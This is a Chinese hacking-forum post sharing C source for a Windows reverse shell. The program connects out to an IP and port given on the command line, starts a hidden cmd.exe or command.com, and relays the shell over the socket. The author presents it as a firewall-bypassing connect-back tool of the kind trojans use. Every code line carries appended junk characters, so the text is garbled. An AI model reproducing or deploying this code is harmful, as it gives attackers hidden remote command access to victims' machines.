社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4053阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \6sqyWI %  
c=6ahX}d  
/* ============================== GCT@o!  
Rebound port in Windows NT D+Cm<ZT~  
By wind,2006/7 5h0>!0  
===============================*/ R A:jzht  
#include ![ZmV  
#include (;a B!(_  
[,=d7*b(l  
#pragma comment(lib,"wsock32.lib") _%Bz,C8  
Lf. 1>s  
void OutputShell(); CSL#s^4T  
SOCKET sClient; gv#4#]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OifvUTl9b  
mN;+TN'?{  
void main(int argc,char **argv) ?GdsOg^  
{ eNRs&^  
WSADATA stWsaData; !X|k"km"  
int nRet; $X*mdji  
SOCKADDR_IN stSaiClient,stSaiServer; hd B |#t  
#,L~w  
if(argc != 3) 8tLHr@%%  
{ XS?gn.o\  
printf("Useage:\n\rRebound DestIP DestPort\n"); "PMQyzl  
return; o0ZIsrr  
} ?aBj#  
ak;6z]f8[  
WSAStartup(MAKEWORD(2,2),&stWsaData); n@!wp/J,  
+\0T\;-Xe  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OL'P]=U  
n`(~O O  
stSaiClient.sin_family = AF_INET; -4w%Iy  
stSaiClient.sin_port = htons(0); |uI?ySF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =m7H)z)i*J  
igDG}q3jG  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `>6T&  
{ MRfb[p3Cx  
printf("Bind Socket Failed!\n"); -DP*q3  
return; !9;)N,  
} ,_jC$  
@x1 %)1  
stSaiServer.sin_family = AF_INET; @o>EBZ7MS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 22 &'@C>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )%mg(O8uL  
g5+7p@'fV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S]^`woD  
{ dAc ?O-~  
printf("Connect Error!"); 2*[QZ9U[@  
return; BcQEG *N  
} i?>tgmu.  
OutputShell(); 0:"2MSf>  
} ?cKZ_c  
VWx]1\  
void OutputShell() xzsdG?P  
{ IA4N@ijRxh  
char szBuff[1024]; /c`^iPb  
SECURITY_ATTRIBUTES stSecurityAttributes; 1l5J P|x  
OSVERSIONINFO stOsversionInfo; d"E^SBO&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s"%lFA"-  
STARTUPINFO stStartupInfo; 4zjs!AK%  
char *szShell; ba3*]01Yb  
PROCESS_INFORMATION stProcessInformation; LY 0]l$  
unsigned long lBytesRead; Y9Z]i$qS&k  
mM_ k ^4:  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qnChM ;)  
nirDMw[  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1vnYogL   
stSecurityAttributes.lpSecurityDescriptor = 0; fE]XWA4U  
stSecurityAttributes.bInheritHandle = TRUE; Zd!U')5/  
OcmRZ  
=dZHYO^Cv  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); D3D}DaEYj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uo2'"@[e  
! zL1;d  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tF7hFL5f  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Io  n~  
stStartupInfo.wShowWindow = SW_HIDE; NBYH;h P  
stStartupInfo.hStdInput = hReadPipe; x|i_P|Z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -MBV $:_R  
D`[Khsf  
GetVersionEx(&stOsversionInfo); d$t40+v  
DY\J[l<<  
switch(stOsversionInfo.dwPlatformId) (UL4+ta  
{ (W[V? !1  
case 1: DF_X  
szShell = "command.com"; t$J.+}}I  
break; 3B0PGvCI1  
default: u JY)4T  
szShell = "cmd.exe"; =>iA gp'#  
break; W/fuKGZi_  
} c9wfsapJ  
UAn&\8g_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AY,].Zg[  
cl@g  
send(sClient,szMsg,77,0); k^\pU\J  
while(1) k&/OU:7Y  
{ =Yz'D|=t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K/L;8a  
if(lBytesRead) t `kui.  
{ oD9^ID+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $pyOn2}  
send(sClient,szBuff,lBytesRead,0); 1oiRWRe  
} aNxAZMg  
else l{Dct\ #s  
{ K2{aNv R)t  
lBytesRead=recv(sClient,szBuff,1024,0); k(t}^50^j  
if(lBytesRead<=0) break; _oG&OJ@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bq>_qpr  
} =K\r-'V  
} *=AqM14 @  
Fv74bC %  
return; h[o6-f<D  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五